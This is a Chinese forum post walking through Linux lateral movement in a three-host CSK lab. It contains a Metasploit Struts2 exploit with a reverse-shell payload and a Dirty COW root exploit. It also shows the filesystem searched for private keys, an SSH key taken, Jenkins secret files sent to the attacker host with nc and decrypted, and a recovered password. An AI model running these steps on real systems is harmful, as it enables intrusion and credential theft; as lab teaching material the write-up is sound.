安全矩阵

 找回密码
 立即注册
搜索
查看: 837|回复: 0

Linux横向移动手法-CSK靶机

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-12-28 15:02:06 | 显示全部楼层 |阅读模式
原文链接:Linux横向移动手法-CSK靶机


前言
在Linux中横向移动手法相对Windows来说较少,相对来说我们只有利用SSH、web上的漏洞等较少方式去获得权限 在SSH协议中,连接到主机可采用两种登录方式:密码登录方式、密钥登录方式 密码登录方式,相信大家都明白它的工作原理,这里就不再赘述。对此我们可以来尝试爆破密码的方式来尝试登录到远程系统权限 密钥登录方式的原理是:利用密钥生成器制作一对密钥,其中一只公钥,一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过SSH暴力破解用户的密码来远程登录系统。那这里我们可以通过获取该目标服务器的SSH私钥信息即可获得该服务器的远程登录权限 一般ssh密钥文件都存放在~/.ssh/目录下,也可以在文件中搜索已保存的SSH凭证
  1. <p><code>敏感文件

  2. ~/.ssh/config #配置 ssh 连接相关参数的配置文件

  3. ~/.ssh/known_hosts  # 该服务器所有登录过的服务器的信息

  4. ~/.bash_history # 我们通过历史命令可以看到该服务器中有没有使用ssh私钥去远程连接服务器

  5. 搜索含有SSH凭证文件

  6. grep -ir "BEGIN RSA PRIVATE KEY" /*

  7. grep -ir "BEGIN DSA PRIVATE KEY" /*

  8. grep -ir "BEGIN OPENSSH PRIVATE KEY" /*</code></p>
复制代码


在这里,我用一个纯Linux的内网靶机环境来做演示,首先我们来看一下当前内网环境的拓扑图
编辑
通过拓扑图我们可以看到在当前内网环境中,一共有3台机器,一台是web服务器,同时也连接着互联网,另外两台分别为数据库服务器与Jenkins服务器,他们的网络环境中是做了限制的,web服务器对外开放,可直接访问。jenkins服务器的web应用只允许当前内网环境的主机访问,数据库服务器不出网,用于实现站库分离设计模式。网络划分配置如下:点击编辑 ->虚拟网络编辑器-> 更改设置,之后选择需要设置NAT类型的界面,修改子网IP为172.16.250.0 ,并点击应用
编辑
场景演示
首先我们先对入口点IP地址做一个端口扫描
这里我们访问它的80端口,发现是该系统的CMS为OpenCms 10.5,通过漏洞库得知该系统存在 struts2 命令执行漏洞
编辑
访问一下struts2-showcase路径,看是否成功
编辑
由此确定使用struts2并且是struts2 showcase,msf上可以利用这个漏洞。直接在msf中 search struts2,这里直接选择第一个利用即可
编辑
  1. <p>设置攻击IP地址与反弹shell方式</p>

  2. <pre>
  3. <p><code>set rhost 172.16.250.10

  4. set rport 80

  5. set payload linux/x64/meterpreter/reverse_tcp

  6. set lhot 172.160.250.128

  7. set lport 4444</code></p></pre>
复制代码


编辑
可以看到shell被成功反弹过来
编辑
可以看到当前shell被反弹过来,并且权限为tomcat权限,这里的权限对我们来说相对较低,于是选择提权。首先上传一个linux-exploit-suggester脚本用于定位当前系统适合怎样的方式进行提权。由于这时候我们得到的shell不是tty类型的,改为tty使得shell更加稳定,然后赋予当前文件一个执行权限,将其执行。
  1. upload /root/Desktop/linux-exploit-suggester.sh /tmp/aa.sh

  2. shell

  3. python3 -c "import pty;pty.spawn('/bin/bash')"

  4. chmod u+x /tmp/aa.sh

  5. ./tmp/aa.sh
复制代码



编辑
运行之后就可以看到适合当前系统的提权方式,这里我选择使用脏牛来进行提权(在实战中请谨慎使用脏牛提权,该提权方式容易造成业务宕机) 这里步骤和我们刚刚上传提权定位脚本基本一致,首先将exp上传到shell中,将exp进行编译,将shell改为tty,直接执行编译后的exp
  1. upload /root/Desktop/dirtycow-mem.c /tmp/cow.c

  2. shell

  3. python3 -c "import pty;pty.spawn('/bin/bash')"

  4. gcc -Wall -o /tmp/dirtycow /tmp/cow.c -ldl -lpthread

  5. chmod u+x /tmp/dirtycow

  6. ./tmp/dirtycow
复制代码



编辑
这里我们在拿到root权限之后,为了保持稳定需要输入下面两条命令,不然web服务器会死机-.-
  1. echo 0 > /proc/sys/vm/dirty_writeback_centisecs

  2. echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
复制代码



编辑
经过长时间的信息收集后,发现配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties中有一条数据库登录的信息,判断出当前数据库服务器为172.16.250.50
编辑
发现该站为站库分离系统,这里查看root目录下的.ssh目录发现存在一个私钥文件
编辑
这里再去查看root用户的历史命令发现该用户使用该密钥连接了172.16.250.30,那这里我们可以将该服务器的私钥文件下载到我们的攻击机中,然后使用攻击机去连接数据库服务器,因为我们现在所在的是提权的root用户bash,在msf中是tomcat的权限,我们无法直接下载root目录下的ssh私钥,所以我们需要先将私钥复制到/tmp/目录下,然后将它基于777的权限,在使用msf将其下载到我们的攻击机中
  1. cp ~/.ssh/id_rsa /tmp/id_rsa

  2. chmod 777 /tmp/id_rsa

  3. exit

  4. download /tmp/id_rsa /root/is_rsa
复制代码



编辑
这里给拖出来的私钥一个0700的执行权限,然后使用ssh去连接172.16.250.30
  1. chmod 0700 id_rsa

  2. ssh -i id_rsa root@172.16.250.30
复制代码



编辑
这里成功拿到第二台主机权限,权限为root,hostname为jenkins,这里对它进行一个信息收集发现该系统开放一个8080端口
编辑
这里搭建一个socks代理访问一下看看当前jenkins服务器中8080端口所开放的是一个什么站点
  1. use auxiliary/server/socks5

  2. set srvhost 172.16.250.128

  3. run
复制代码



编辑
然后修改proxychains文件
编辑
使用proxychains启动firefox
proxychains firefox
编辑
这里我们访问Jenkins应用程序内的凭证管理器内部,看到db_backup用户密码已存储,但不可见,我们需要弄清楚如何从Jenkins中获取此凭据,以便我们可以继续横向移动。
编辑
这里我们选择“Update”来更新密码
编辑
将password置空即可得到密码
编辑
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=
访问/jenkins/script/console目录,使用以下命令获取明文
println(hudson.util.Secret.fromString("{2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=}").getPlainText())
发现失败,这里直接获取jenkis的加密密钥文件,下载到本机使用jenkis进行解密,credentials.xml,master.key和hudson.util.Secret
编辑
访问发现该3个文件存在,使用nc将文件传到我们的kali中
  1. nc -lvp 8888 > master.key

  2. nc -lvp 8888 > hudson.util.Secret

  3. nc -lvp 8888 > credentials.xml

  4. nc 172.16.250.128 8888 < /home/jenkins/secrets/hudson.util.Secret

  5. nc 172.16.250.128 8888 < /home/jenkins/secrets/master.key

  6. nc 172.16.250.128 8888 < /home/jenkins/credentials.xml
复制代码



编辑
可以看到文件都被下载到了我们的攻击机中,这里我们下载解密脚本,将密钥文件放到脚本中进行解密
  1. git clone https://github.com/cheetz/jenkins-decrypt.git

  2. python3 decrypt.py master.key hudson.util.Secret credentials.xml
复制代码



编辑
这里成功解密db_backup用户的密码,使用ssh进行连接
)uDvra{4UL^;r?*h
  1. <code>proxychains ssh db_backup@172.16.250.50</code>
复制代码



编辑
可以看到成功登录到172.16.250.50系统中,这里使用id查看到该用户属于在sudo组,所以可以使用sudo su命令进行提权,然后输入db_backup用户的密码,即拿到了该系统root系统的权限。
  1. sudo su
复制代码



编辑
至此成功获取到WEB服务器(172.16.250.10)的权限、内网主机172.16.250.30的权限、内网数据库服务器172.16.250.50的权限。本文章主要介绍了Linux环境下的内网渗透手法,但想文章前言所述一样,在Linux中的横向手法很少,所以主要还是偏向于SSH和web方面的漏洞,在Linux的内网环境中,要做的还是要收集到更多有价值的信息,查看历史命令等。从而在进行下一步渗透。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:53 , Processed in 0.013494 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表